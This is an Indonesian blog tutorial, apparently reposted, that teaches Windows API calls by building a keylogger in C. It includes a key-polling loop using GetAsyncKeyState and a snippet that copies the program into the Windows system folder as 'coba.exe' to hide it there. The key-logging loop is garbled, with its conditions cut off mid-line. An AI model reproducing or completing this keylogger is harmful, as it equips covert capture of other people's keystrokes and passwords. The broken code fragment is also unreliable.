Fungsi Windows API

$>API atau Application Programming Interface merupakan fungsi-fungsi Eksternal
yang terdapat dalam file-file perpustakaan Windows (Library Windows) atau file
library lainnya yang dapat dimanfaatkan oleh aplikasi. File Lib (Library) ini
terdapat di Folder system Windows (C:\Windows\System32). Penggunaannya dalam
sebuah aplikasi haruslah dideklarasikan terlebih dahulu di Source Code aplikasi.

Tujuan Penggunaan
$>Kadang kita berpikir “Gimana sih aplikasi kita biar bisa nyatet ketikan keyboard?”
atau “Gimana sih aplikasi kita bisa nyari folder system windust(Baca:Windows) secara
otomatis tanpa kita kasi tahu pathnya terlebih dahulu?”, jawabannya adalah dengan
menggunakan fungsi-fungsi API yang ada. Dibuat dari bahasa apakah Fungsi API itu?
Pada permulaannya API ditulis dengan bhs C/C++ lalu pemanfaatannya sangatlah luas oleh
bhs program lain (VB, DELPHI, Dll) yang tentunya memerlukan suatu konversi terhadap
pendeklarasiannya.

Tools atau Softwarez dan Skill yang diperlukan
$>Setidaknya anda telah belajar menggunakan ataupun membuat suatu aplikasi dengan
VB (Visual Basic) atau DELPHI ataupun C/C++.
$>Softwarez : M$ Visual Basic 5.0/6.0 atau DELPHI
M$ Visual C++ 6.0 atau compiler C/C++ yang lain
$>Tools : API Text Viewer

Tutorial
$>Sebagai contoh akan saya berikan suatu Aplikasi Keylogger (Aplikasi yang mencatat
Ketikan keyboard lalu menyimpannya ke File .log) dengan bhs C. Fungsi API yang akan
digunakan adalah :

– GetSystemDirectory(LPSTR lpBuffer,Uint uSize)
Adalah Fungsi API yang akan mencari Folder/Direktori System Windust
Dimana LPSTR lpBuffer adalah variabel dengan tipe data char[256] dan
Uint uSize adalah variabel dengan tipe data Integer dengan nilai
sizeof(lpBuffer). Nilai balik fungsi ini akan memberikan nilai sesuai dengan
panjang Direktori system tsb. Contoh :
int i;char j[256];
i = GetSystemDirectory(j,sizeof(j));
misal j bermuatan = “F:\Windows\System32”
maka i == sizeof(j) == 19

– GetAsyncKeyState(Uint var)
Adalah fungsi yang akan mengembalikan nilai -32767 bila var bernilai kode ascii
yang benar/valid. Contoh :
if(GetAsyncKeyState(i)==-32767)
printf(“OK”);
maka bila kita ketik apa saja di keyboard maka akan mencetak “OK” di layar.

– GetKeyState(Uint var)
Adalah fungsi yang hampir sama dgn GetAsyncKeyState hanya saja akan mengembalikan
nilai 1 bila var bernilai benar/valid. Fungsi ini akan mengecek kondisi dari abjad
yang diketikkan apakah huruf KAPITAL (VK_CAPITAL) yakni tombol CAPSLOCK ditekan atau tidak.
Contoh :
if(GetKeyState(VK_CAPITAL))
printf(“KAPITAL”);
maka bila kita menekan tombol CAPSLOCK maka akan mencetak “KAPITAL” di layar.

$>Lalu bagaimana kita menggunakan fungsi-fungsi API diatas? Dalam bhs C/C++ kita dapat langsung
menggunakannya tanpa perlu dideklarasikan terlbih dahulu. Sedangkan untuk Visual Basic atau DELPHI
harus dideklarasikan di bagian General. Contoh (Dalam Visual BAsic 6.0) :

(General)
Private Declare Function GetAsyncKeyState Lib “user32” (ByVal vKey As Long) As Integer

Sebagaimana kita dapat lihat fungsi API GetAsyncKeyState tersebut menggunakan library “user32″ dan
nilai baliknya adalah tipr data Integer.

$>Sedangkan implementasinya pada program keylogger kita adalah sebagai berikut :

$>Penggunaan GetAsyncKeyState() :
—————-potong di sini——————-

while(1) //Perulangan tak hingga (Infinite Loop)
{
for(j=8;j=96 && j =48 && j =65 && j Penggunaan GetSystemDirectory() :
—————-potong di sini——————-

m=GetSystemDirectory(s,255); //m adalah var integer yang akan berisi panjang dari path folder System Windust
if(m!=0) //Cek apakah m tidak sama dengan 0
strcat(dir,s); //memasukkan path dari folder system ke var char dir[256]
y=CopyFile(argv[0],(strcat(dir,”coba.exe”)),TRUE) //copy file kita ke folder windust, jika berhasil y akan bernilai TRUE

—————-potong di sini——————-

$>Potongan Source Code diatas belumlah optimal, dikarenakan masih menggunakan statement-statement yang
sama berulang kali. Lalu bagaimana dengan fungsi API yang lain? MAsih banyak fungsi-fungsi API yang lain seperti keybd_event,
SetActiveWindow, LoadAccelerators dan lain-lain. Tetapi karena keterbatasan waktu dan tempat saya tidak bisa menjabarkan
satu persatu, mungkin pada kesempatan yang lain.

Thanks,

PushM0v
Any Comments, Suggestions, Critics : emomelodicfreak@yahoo.com

Referensi : Pemograman WINDOWS API dengan MS Visual Basic oleh Rahadian Hadi
WWW.Planet-source-code.com

sumber aslinya disini




    Leave a Reply

    Fill in your details below or click an icon to log in:

    WordPress.com Logo

    You are commenting using your WordPress.com account. Log Out / Change )

    Twitter picture

    You are commenting using your Twitter account. Log Out / Change )

    Facebook photo

    You are commenting using your Facebook account. Log Out / Change )

    Google+ photo

    You are commenting using your Google+ account. Log Out / Change )

    Connecting to %s



%d bloggers like this: